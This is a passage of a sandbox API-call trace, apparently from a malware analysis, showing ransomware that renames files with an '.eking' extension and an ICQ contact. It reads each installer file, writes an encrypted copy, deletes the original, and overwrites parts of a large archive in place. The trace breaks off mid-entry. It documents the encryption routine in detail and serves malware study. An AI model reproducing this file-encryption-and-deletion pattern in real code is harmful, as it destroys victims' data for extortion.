"c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0087.676] ReadFile (in: hFile=0x324, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x8f66, lpOverlapped=0x0) returned 1 [0087.975] WriteFile (in: hFile=0x318, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x8f70, lpOverlapped=0x0) returned 1 [0087.977] WriteFile (in: hFile=0x318, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0087.978] CloseHandle (hObject=0x324) returned 1 [0087.978] CloseHandle (hObject=0x318) returned 1 [0087.990] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0087.995] SetEvent (hEvent=0x2cc) returned 1 [0087.995] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0088.000] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=10134) returned 1 [0088.000] CloseHandle (hObject=0x32c) returned 1 [0088.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0088.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0088.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0088.001] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0088.001] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0088.001] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0088.001] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0088.004] ReadFile (in: hFile=0x32c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x2796, lpOverlapped=0x0) returned 1 [0088.032] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x27a0, lpOverlapped=0x0) returned 1 [0088.033] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0088.034] CloseHandle (hObject=0x32c) returned 1 [0088.034] CloseHandle (hObject=0x324) returned 1 [0088.045] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0088.046] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0088.046] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=10134) returned 1 [0088.046] CloseHandle (hObject=0x324) returned 1 [0088.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0088.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0088.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0088.047] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0088.047] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0088.047] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0088.047] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0088.047] ReadFile (in: hFile=0x324, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x2796, lpOverlapped=0x0) returned 1 [0088.294] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x27a0, lpOverlapped=0x0) returned 1 [0088.295] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0088.295] CloseHandle (hObject=0x324) returned 1 [0088.296] CloseHandle (hObject=0x32c) returned 1 [0088.299] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0088.300] SetEvent (hEvent=0x2cc) returned 1 [0088.301] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0088.302] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=181483595) returned 1 [0088.302] CloseHandle (hObject=0x32c) returned 1 [0088.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0088.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0088.303] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0088.303] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0088.303] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0088.303] ReadFile (in: hFile=0x32c, lpBuffer=0x398d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x398d058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0088.310] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0088.310] ReadFile (in: hFile=0x32c, lpBuffer=0x39cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x39cd058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0088.316] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0088.316] ReadFile (in: hFile=0x32c, lpBuffer=0x3a0d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x3a0d058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0088.335] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd48 | out: lpNewFilePointer=0x0) returned 1 [0088.335] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xc0112, lpOverlapped=0x0) returned 1 [0088.726] SetEndOfFile (hFile=0x32c) returned 1 [0088.726] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0088.726] WriteFile (in: hFile=0x32c, lpBuffer=0x3a4d14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d14a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0088.728] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0088.728] WriteFile (in: hFile=0x32c, lpBuffer=0x3a4d14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d14a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0088.729] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0088.729] WriteFile (in: hFile=0x32c, lpBuffer=0x3a4d14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d14a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0088.730] CloseHandle (hObject=0x32c) returned 1 [0093.149] SetEvent (hEvent=0x2cc) returned 1 [0093.150] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0093.380] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=872448) returned 1 [0093.380] CloseHandle (hObject=0x318) returned 1 [0093.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0093.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0093.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0093.381] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0093.381] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0093.381] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0093.381] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0093.858] ReadFile (in: hFile=0x318, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xd5000, lpOverlapped=0x0) returned 1 [0094.725] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xd5010, lpOverlapped=0x0) returned 1 [0095.806] WriteFile (in: hFile=0x324, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0095.806] CloseHandle (hObject=0x318) returned 1 [0095.806] CloseHandle (hObject=0x324) returned 1 [0095.847] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0095.857] SetEvent (hEvent=0x2cc) returned 1 [0096.249] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.249] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=495616) returned 1 [0096.249] CloseHandle (hObject=0x330) returned 1 [0096.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0096.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0096.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0096.250] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.250] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.250] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.250] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x338 [0096.251] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x79000, lpOverlapped=0x0) returned 1 [0096.263] WriteFile (in: hFile=0x338, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x79010, lpOverlapped=0x0) returned 1 [0096.275] WriteFile (in: hFile=0x338, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0096.275] CloseHandle (hObject=0x330) returned 1 [0096.279] CloseHandle (hObject=0x338) returned 1 [0096.490] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0096.499] SetEvent (hEvent=0x2cc) returned 1 [0096.499] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0096.500] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=272046) returned 1 [0096.500] CloseHandle (hObject=0x338) returned 1 [0096.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0096.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0096.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0096.501] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0096.501] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.501] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.501] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0096.501] ReadFile (in: hFile=0x338, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x426ae, lpOverlapped=0x0) returned 1 [0096.513] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x426b0, lpOverlapped=0x0) returned 1 [0096.520] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0096.520] CloseHandle (hObject=0x338) returned 1 [0096.520] CloseHandle (hObject=0x330) returned 1 [0096.529] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0096.534] SetEvent (hEvent=0x2cc) returned 1 [0096.534] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.534] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=184832) returned 1 [0096.534] CloseHandle (hObject=0x330) returned 1 [0096.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0096.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0096.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0096.535] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.535] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.535] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.535] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x338 [0096.535] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x2d200, lpOverlapped=0x0) returned 1 [0096.692] WriteFile (in: hFile=0x338, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x2d210, lpOverlapped=0x0) returned 1 [0096.696] WriteFile (in: hFile=0x338, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0096.696] CloseHandle (hObject=0x330) returned 1 [0096.696] CloseHandle (hObject=0x338) returned 1 [0096.709] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0096.711] SetEvent (hEvent=0x2cc) returned 1 [0096.712] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0096.712] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=94720) returned 1 [0096.712] CloseHandle (hObject=0x338) returned 1 [0096.712] 